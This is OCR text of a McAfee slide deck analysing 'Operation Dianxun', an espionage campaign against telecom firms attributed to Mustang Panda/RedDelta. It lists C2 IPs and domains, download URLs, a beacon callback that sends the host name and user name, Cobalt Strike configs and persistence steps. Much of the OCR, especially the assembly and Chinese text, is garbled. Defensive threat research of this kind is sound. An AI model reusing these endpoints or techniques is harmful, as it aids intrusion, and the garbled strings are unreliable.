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INtroduction

= McAfee ATR team discovered an APT attack allegedly attributed to China Threat actors
Mustang Panda/RedDelta.

= The attack targeted Telecom sectors.
= Several tools were analyzed.

= We will discuss about methodology and proposals.
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The Attripution Dilemma
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What Elements Are Taken Into Consideration?

- Geopolitical Context

- Knowledge base and previous intelligence reports

- TTPs, Operating Methods

- |OCs and Classification

- Similarities and Differences

- Victimology
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Remember: We are Talking About Nation State Attacks

= |f it looks like it, if it smells like it, there is still a possibility that it is not it!
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Proposal

= Correlation table

= Perhaps give a new fancy name to the group you analyzed in a new attack is not
nelping the community?

= (lassifying attack by operation/campaigns can be much powertful than by name.
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Operation Dianxun: Attack Overview

M Operation Dianxun is a cyberespionage campaigns that allegedly
WY targets the Telecommunication sector.

AL\ The TTPs observed are similar to known threat actor Mustang Panda
kY ond RedDelta.

VTt argeted companies appeared to have been active in the global roll
W& out of China 5G deployment.

Q Threat actor used a mix of custom and offensive tools such as Cobalt
Strike.
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Mustang Panda vs RedDelta

Mustang Panda

» Mustang Panda is a threat actor originally
attributed by Crowdstrike in 2018.

- Red Delta is a threat actor originally attributed
by Recorded Future in 2020.

» Targets: telecommunication, governments, » Targets: religious organization as well as

governments

NGO

» Backdoor used: PlugX, Poison Ivy, Cobalt Strike » Backdoors used: PlugX

Similarities has been identified in TTPs, operating methods, infrastructures,
targets, geopolitical interests...
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Additional Threat Context

INDIA

India building defenses against Huawei

5G TELECOMMUNICATION

]

New Delhi set to declare a list of trusted’ telecom sources and products with preference for locally made equipment over Chi V iet nam C a rrie r deve ].Op S native 5 G te Ch
to lock out Huawel

WORLD | EUROPE

China Faces European Obstacles as Some Countries Heed U.S. Pressure

Concerns over Chinese geopolitical aggression prompt smaller European countries to block Chinese companies from public bids

Telefonica picks Ericsson and Nokia, not Huawei, for
5G

REPORT

Trump Turning More Countries Afrer Britain. G . Next £C
in Europe Against Huaweli er oritain, Germany emerges as Nex

Slovakia joins other Eastern European countries signing declarations with Washington
aimed at keeping China out of critical infrastructure.

DIGITAL FROMNTIERS

UK ban on Huawei is symbolic, its impact wider

McAfee Enterprise



Tactics, Techniques &

Procedures

careerhuawei.net

Download

Yo

YV e

Targeted Users

Flach.cn

Download

B4
Stage 1

* Check date

* Check geolocalization

* Register and download
second stage

Flach.cn/download.php?api=

Download

Stage 2

* DotNet utility

* Reconnaissance

* Download additional
payloads

* Inject Cobalt Strike

http://159.138.84.217:81/c0c
00cOc/AddTaskPlanDIIVerson.

dll

. DonnSIRINE

ADVANCEDLTHREATRTACTICS]EORIPENETRATIONATESTERS,

Stage 3

* Cobalt Strike Payload
* Malleable C2

McAfee Enterprise



Tactics, Techniques & Procedures

= Careernuawel.net
= Flach.cn

Adobe Flash Player

carearhuaweai net 59.138.84 217 flach.cn

update. careerhuawei_net hr.careerhuawei.net boot.careerhuawei.net info.careerhuawei. net infoadmin.careerhuawei.net 2614bb4ceaSfctaaldt182e31e48bbds terminal.flach.cn 58.138.86.18 download.flach.cn update_flach.cn info_flach.cn

L x]
Mustang Panda Stage 1 x|
Mustang Panda Stage 1

T6d51ad4a78206d237770e35ea 31d7141136204d567 ab46db%aZdcBab2

x|
ebdcGadbdfabde7be32b1eb1b5cdTaZe Mustang Panda C3

%]
RedDealta MET Loader
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Stage 1 - Fake Flash App

. Fake Flash Application (Nb: Adobe discontinued the Flash app, only a Chinese
company has been able to distribute the latest version from the official
flash.cn).

loc 140©2293B: loc _140e22BecC:
;  try { 3 Sy 5
lea rcx, [rsp+208h+var_1C@ lea rcx, [rsp+2@8h+var
call sub_1400049B0 call sub_l400049B0
¥ ¥ ¥ call sub_ 14007ED98 mov [rsp+208h+var

" U Se tO fl nge rp rl nt th e ma Ch | n eS. mowv [ rsp+288h+var_130], 2Fh mov [rsp+288h+var
mov [ rsp+2@8h+var_12F], 64h 1" | Imov [rsp+288h+var
mov | rsp+208h+var_12E], mov [rsp+2@8h+var
mowv [ rsp+208h+var_12D], mov [rsp+288h+var
mov [ rsp+208h+va 2C1, mov [rsp+288h+var
mov [rsp+2@8h+va 2B], mowv [rsp+288h+var_

- Download the second stage. v {rapesoshever 12a] ool i
mov [rsp+2@8h+va 9], mowv [rsp+208h+var_
mov [ rsp+208h+var_128], mov [rsp+2@8h+var
mov [rsp+2@8h+va 271, mov [rsp+288h+var
mov [rsp+288h+va 261, mov [rsp+288h+var 115
mov [ rsp+208h+var_125], mov [rsp+2@88h+var
mov [ rsp+208h+va 241, mov [rsp+288h+var

GET /callback.php?token=zheshiyigetoken23333333333&computername=us- B S s i g i LRSS
mov | rsp+208h+var_122], lea rdx, [rsp+208h+vai
er-PC&username=user HTTP/1.1 lea rdx, [rsp+2@8h+var lea rcx, [rsp+2@8h+var
lea rcx, [rsp+2@8h+var_170 sub_14000ACB0
call sub 14000ACSE0 sub 14007ED98
Host: update.flach.cn call sub_ 140@7ED98 rdx, aApi ©
lea rdx, aApi rcx, [rsp+208h
lea rcx, [rsp+2@8h+var_176 sub_14000ACS80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb- call sub_14000AC80 [rsp+208h+var_17¢
call sub_148©7ED98 [rsp+208h+var_ 173

mowv [I"Sp+,'-'t'.‘.-:'~':~'+'-_- ar 1 -'14".';:] » ADh ] [pi._:}p.*_;.l.'f:'—f;}'-l.*_-u_:‘—] .- 72
mov [r5p+.}k.‘.‘l‘-‘j"+'-.'r]."_1??]: 14N 1 [F5p+.-'-'£::;-'i: . A 3
51, 3eh sub_14007ED98

Kit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36

!
-
} =7

mov [rsp+208h+var 1

L
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Stage 2 - DotNet Utility

Check if the 360tray.exe (360 AV) process is running.
Re-download the first stage from hxxp://update.flach.cn/download. php?raw=1.

t creates a scheduled task that will run cmd.exe /c with the previous payload downloaded and create
the registry key SOFTWARE\\ Microsoft\\Windows. NT\\CurrentVersion\\AppCompatFlags\\
TelemetryController\\Levint.

Download a Cobalt Strike payload baset4 encoded and stored on a remote address. It this option is
selected the payload will be copied in the TEMP folder with the name FlashUpdate.exe.

't checks if the task “WpsUpdataTask_" is present and downloads an additional utility from
hxxp://159.138.84.217:81/c0c00cOc/ AddTaskPlanDllVerson.all.

't checks if the task “FlashUpdate” is present in the system and, if not, can create it.

It Carp].add a WMI backdoor by creating a permanent filter in order to stay persistent in the infecteo
machine.

't has the possibility to inject a shellcode into the clipboard.
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Intermediary DLL

. The main goal of this tool is to check if the file “flashupdate_exe" is available in
the temp folder (meaning the first stage has been successful).

- Then it creates a scheduled task called “WpsUpdataTask_" to run the sample in
the infected machine.

call memset

movups xmm@, cs:flashupdate exe

MOV Z X eax, cs:byte 180004408

lea rdx, [rsp+598h+Dst] ; lpBuffer
mov réd, 512h ; NSize

[rbp+1]¢h+udfiﬂﬂ], rdi

[rbp+118h+var De], rdi

word ptr [rbp+118h+var_48.anonymous 0], di
rdx, aWpsupdatatask

mov [r5p+':.'~"'_"4i-'-';i'1+'.-;j r‘_r:E'_-.Fj]_, al rcx, [rbp+11@h+var_48]
lea rcx, Name .

movups [rsp+598h+var 578], xmm®

call cs:GetEnvironmentVariableA

lea rax, [rsp+598h+Dst]
dec rax
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Stage 3 - Cobalt Strike

ﬂ

. The last stage of the infection is the Cobalt Strike payload use to remotely

ﬂ

access to the infected machines.

BeaconType HTTPS

Port 443

SleepTime 6800

MaxGetSize 1048576

Jitter 14

MaxDNS 245

C2Server updatel.bootcdn.org,/s/ref=nb_sb_noss_1/264-
84198498-9827145/field-keywords=woman

UserAgent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

HttpPostUri /N9185/adj/amzn.us.sr.aps

Malleable_C2_Instructions Empty

HttpGet_Metadata Accept: */*

Host: www.amazon.com

session-token=

skin=noskin;
csm-hit=s-ZKfVNrTuJPO9EGO9Fzz91|2083152134 315
Cookie
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Activity Timeline

+ RedDelta
Targeting
Religious
organisation

August-October
2020

+ Mustang
Panda/
Reddelta
targeting
telecoms

December 2020

+ New variant
identified

publication

- Infrastructure
update

- Infrastructure
update and
new tooling
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March 2021

Index of /cooOol X +

< C /a flashupdated.com/cooOol/

Index of /cooQol

. We identifies recent activity with new C2.

Name Last modified Size Description
® _ a Parent Directory
. @ AddTaskPlanDll Verson.dll 2020-11-02 11:37 104K

Apache/2 418 {Ubuntu) Server ar flashupdated.com Fort 80
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Infrastructure — May 2021

Adobe Flash Player

RA: 32.0.0.270

. |Infrastructure:

. hxxp://45.32.146[.]181:8080/j5Pm
. hxxp://45.32.146[.1181:8080/iRI6
- hxxp://45.32.146[.]1181:8080/dpixel

cs.flash-up[.]info
psrat.flach.com[.]Jcn
hxxps://update.tzdckj[.Jcom/flach.php

C @ % 45.32146.181:8088/login/index oo 3¢ O & Q Search S 0 6 & » =

- Tooling:
Use of NPS, a chinese tool for penetration testing and
p roxy CO n n e Ctl O ﬂ . a lightweight, high-performance, powerful

intranet penetration proxy server

ive protocol support, compatible with almost

Source: https://github.com/ehang-
jo/nps/blob/master/README.md

Use of a homemade manager named: "XSS Platform"

n, etc.
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Infrastructure Tooling - May 2021 - XSS Platform

XssES FW = SR Eldl'ﬂir'.i
index.php
source

admin_index.php
admin_module. php

style
images
bg.png
logo.gif
style.css
templates xss. php CTTT T e
admin_allfilter.html -
admin_emaillist.html i 6\235\2276\ 2000\ 22568\2156
admin_fnnter_htm]_ l HSS—I‘HL‘IEILI].Eiﬁﬁ\235\22?ﬁklﬂﬂl .SCII.
admin_header.html B §\235\2276\2146\ 225662158
admin_index.html XSS-module (8 6\235\2276\2146\217\2126\231\2046"21266"\226\2071%F ) .sql
admin_menu.html form.php
admin_module.html html2canvas.js
templates_c print.js
authtest.php
XSSYS captcha.php F’m“‘?'F‘“F‘
config.php submit.php
init.php xform.php
FE R, EEIEHKE. Libs X55.]5
A Config_File.class.php 6\2136\2176\ 20066\ 22566\ 2156
Smal‘t}f.claﬁs.php I x55-MYSQL.sqgl
3:2:;FEE?NP1‘LE““355-"”" $\2116\2056\200\2206\ 205 6\200\2213% §\230\216. txt
internals

core.assemble_plugin_filepath.php
core.assign_smarty_interface.php
core.create_dir_structure.php
core.display_debug_console.php
core.get_include_path.php
core.get_microtime.php
core.get_php_resource.php
core.1is_secure.php

Sz ELGERY | K EERS core.is_trusted.php

core. load_plugins.php

core. Load_resource_plugin.php
core.process_cached_inserts.php
core.process_compiled_include.php
core.read_cache_file.php
core.rm_auto.php

core.rmdir.php
core.run_insert_handler.php

IEIER
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Infrastructure Tooling - May 2021 - XSS Platform

= Analyzing results and take a closer look to each C2s

Xss index login reg

Translate from Chinese (detected) W < Translate into English (UK) Glossary

RER = If the [XSS Platform Source.rar] file you download differs

@BITIEAR AN RERI T )R from the appeal value, it is definitely not the backdoor-
free source code | provide

fuck you!

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>XSS Platform</title>

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<link rel="stylesheet" href="http://fk0.in/themes/default/css/bootstrap.min.css">

<link rel="stylesheet" href="http://fk0.in/themes/default/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="http://fk0.in/themes/default/css/css.css">

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>

<l-- * ZKXHIBFEEI: http://gdd.gd/1439.html
* - HEETHY [XSSFEIFIE.rar] X145 LiFEARE, HEXTIERANLBENEETEIG-- -->

<script>
function Login(){
if($("#user").val()=="")
ShowError ("FHPRRRERAZT");
return false;

}
if(S("#pwd").val()==""){
ShowError ("BRARENT");
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Hunting for More!

XSSHE GRS rar X @ Q ARBEEBNECEXH: config.php

Q, Tous [+] Vidéos [ Actualités [ Images ) Maps : Plus Parametres  Qutlls

Environ 244 000 résultats (0,39 secondes)

Hhttp//
http://www.nz998.com » other + Traduire cette page
R TTEMRXSSTERIFIE+ (RFETRIRIR) rar RS2 &il%
R, BFEBIEXSSFAER+ [405MER] -(RBTIRE).rar REH ARERBEBAXFR([ZF DEEE] EHAIxss-MYSQL.sql fRFEE %
B www.t00ls.net HANERNIDIENES. [BpiraER] XL TFEHRAMMAERFI: www.baidu.com Bf
q], ERGRRABAXBIREtt/

https://download.csdn.net » download » wang3890161

o EhRXSSEIRIE+ [40ZTRIR] -(RBETARIRAR).rar ...

10 mai 2018 — BEFTREEXSSTFSER+ [402 T ER] (R BTEIRR).rarBEFED: www. FaCEt AnalYSiS
t00Is. EZ THEE. FIERIEHGECSDN T MA5E.

title:"XSS Platform"

BRICEEXSSTAFD [408/Mik] // TOTAL: 37

CN

HK
MITRSHRXSSTAER (4021 4#ER]

LR ESFEMRABRES RIS ] JP
RFHAEERAKE: admin US
EFFINEEAFID: 1234567

M ESIEREETME [PARE] AME, CHEXMHE, SRIBAEREARER,

AETEEABESY: config.php

ARATEMREN: authtestphp BHEAE [BRAMNEE] XL TFERDFRIEEHAN: wwwbaiducom BEIF], FEERRAE FLthigHh
ttps/
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Cobalt Strike

Beacons Config- May 2021

BeaconType

Port

SleepTime
MaxGetSize
Jitter

MaxDN5S
PublicKey_MD5
(25erver
UserAgent
HttpPostUri
Malleable_C2_Instructions
HttpGet_Metadata

HttpPost_Metadata

PipeName

DN5_Idle

DNS_Sleep

55H_Host

SSH_Port -
SSH_Username
S5H_Password_Plaintext
SSH_Pnsswnrd_Pubkey
SSH_Banner

HttpGet_Verb
HttpPost_Verb
HttpPostChunk
Spawnto_x86

Spawnto_x64

CryptoScheme
Proxy_Config

Proxy_User
Proxy_Password
Proxy_Behavior
Natermark

b5tageCleanup
bCFGCaution

KillDate
bProcInject_StartRWX
bProcInject_UseRWX
bProcInject_MinAllocSize
ProcInject_PrependAppend_x86
ProcInject_PrependAppend_x64
ProcInject_Execute

ProcInject_AllocationMethod

HTTP
8080
o000
1048576
@

255

f4ad3595f fe489750984bfd2 f4d4edf 1

45.32.146.181, /dpixel

Mozilla/5.@ (compatible;-MSIE 9,0; Wi

/submit.php
Empty
Metadata
basebd
header "Cookie"
ConstHeaders

Content-Type: application/octet-

Sessionld
parameter "id"
Output
© print

0.0.0.0
;] "
Not Found _ -
Not Found '
Not Folind

Not Found '
Not Found . i

Not Found

GET

3 :
% .
Awindird\syswowb4\rundll132. exe

Swindir¥\sysnative\rundll132.exe

@

Mot Found
Mot Found
Mot Found
Use IE settings
1735561455
False
False

@

True

True

@

Empty

Empty
CreateThread

SetThreadContext
CreateRemoteThread
RtlCreatelUserThread
VirtualAllocEx

et L ]

BeaconType

Port

SleepTime
MaxGetSize
Jitter

MaxDN5
PublicKey_MD5
(25erver
UserAgent
HttpPostUri
Malleable_C2_Instructions
HttpGet_Metadata

HttpPost_Metadata

PipeName
DNS_Idle

DN5S_Sleep . s

SSH_Host

SSH_Port

55H_Username
SS5H_Password_Plaintext
55H_Password_Pubkey
5SH_Banner

HttpGet_Verb
HttpPust_¥erb
HttpPostChunk
Spawnto_x86

Spawnto_x64

CryptoScheme
Proxy_Config

Proxy_User
Proxy_Password
Proxy_Behavior
Watermark

b5tageCleanup
bCFGCaution

KillDate
bProcInject_StartRWX
bProcInject_UseRWX
bProcInject_MinAllocSize
ProcInject_PrependAppend_x86
ProcInject_PrependAppend_x64
ProcInject_Execute

ProcInject_AllocationMethod

Fwindir®\syswowbd\rundll32.exe

.Mot Found i -

HTTP
2080
0000
1848576
a
255
f4ad3595f fe439750984bfd2 F4d4e0f1
45.32.146.181,/en_US/all. s
Mozillas5.8 (compatible; MSIE 9.8; Windows NT 6.1; Trident
/submit.php
Empty
Metadata
baseb4
header "Cookie"
ConstHeaders
Content-Type: application/octet-stream
Sessionld
parameter "id"
Output
print

0.0.0.0
&
Mot Found

Not Found

Mot Found

Not Found _ .
Not Found '
Not Found

GET ’
POST .

9

¥windir¥\sysnative\rundl132.exe
@ ' :
Not Found

Not Found ' .
Use IE settings ) ; -
1735561455

False

False

@

True

True

@

Empty

Empty
CreateThread

SetThreadContext
CreateRemoteThread
RtlCreatelUserThread
VirtualAllocEx

| Prﬂxy ﬁccesﬁTyp& 2 {Usﬁ IE settlngsf
I

445/tcp
50858/tcp open

| r-"n

filtered microsoft-ds

unknown

Nmap scan report for cs.flash-up.info (47.243.53.93)
Host is up (@.34s Iat&ncy}

Mat+ ok s

COBALTSTRIKEL
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Additional OSINT - Same AS Used

Seen  2020-02-19 Registrar  Alibaba.com Singapor...

Seen 2021-04-16 Registrar ~ GoDaddy.com, LLC _ © Categorize
© Ccategorize Last Seen  2021-01-25 Registrant T&
Seen  2021-06-02 Registrant 464
Results
LYST INSIGHTS
Resolving IP Blocklisted Registered [| Resolvesto P | Not Alexa 100K Crawled By RiskiQ a month ago

Resolves te IP Mot Alexa 100K

2020-12-23

UNIQUE RESOLUTIONS

159.138.86.182
Click to Filter

1 2 o] 2 o] o o

Resolutions Whois Certificates Subdomains Trackers Components Host Pairs OSINT Hashes DNS Projects Cookies

RS O RESOLUTIONS @

YSTEM TAG (2 / 2) 1-10f1 ~ Sort : Last Seen Descending ~ 25/ Page v«

n A.L1ETe, ; Resolve Location Metwork First Last Source
Alibaba-US-Tech... Network

routable 1 47.243.53.93 HEK 47.243.0.0/16 2021-04-15 2021-06-02 riskig, pingly, kaspersky

47.91128.0/18

[Z] Alibaba-US-Technology-Co.-Ltd. | [ Routable

EhﬂWiﬂg results for AS45102 Copy APl link Copy complete JSOMN

By looking for WHOIS data, we've identified
ASN [ Somrsmow 1 S emails used to register some domains

asn "ASAS182"

name "Alibaba (US) Technology Co.

EMAIL Dianxun Operation Domain Other Domain
country "us"-

longownown@163/.Jcom flach.com[.]cn updatemicrosoft[.]cn

allocated null

registry "apnic” samij2947 14@gmaill.Jcom flach[.]cn rnicrosoft[.]cn

domain "alibaba-inc.com™

num_ips 2816800

type "hosting"
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Conclusion

= Our analysis and conclusion are based on multiple factors:

= Geopolitical context and selected targets

= TTPs and Operating Methods as well as study of previous intelligence

= Tooling analysis

= After publishing the report, the threat actors updated some of his tools as well as the
infrastructure.

= Out threat report is available here https://www.mcafee.com/enterprise/en-
Us/assets/reports/rp-operation-dianxun.pdf
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Thank you.

McAfee, the McAfee logo, and MVISION are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the U.S. and/or other countries. Other names and brands may be claimed as the property of others. McAfee technologies’ features and benefits depend on system configuration and may
require enabled hardware, software, or service activation. No computer system can be absolutely secure.

Copyright © 2021 McAfee, LLC.
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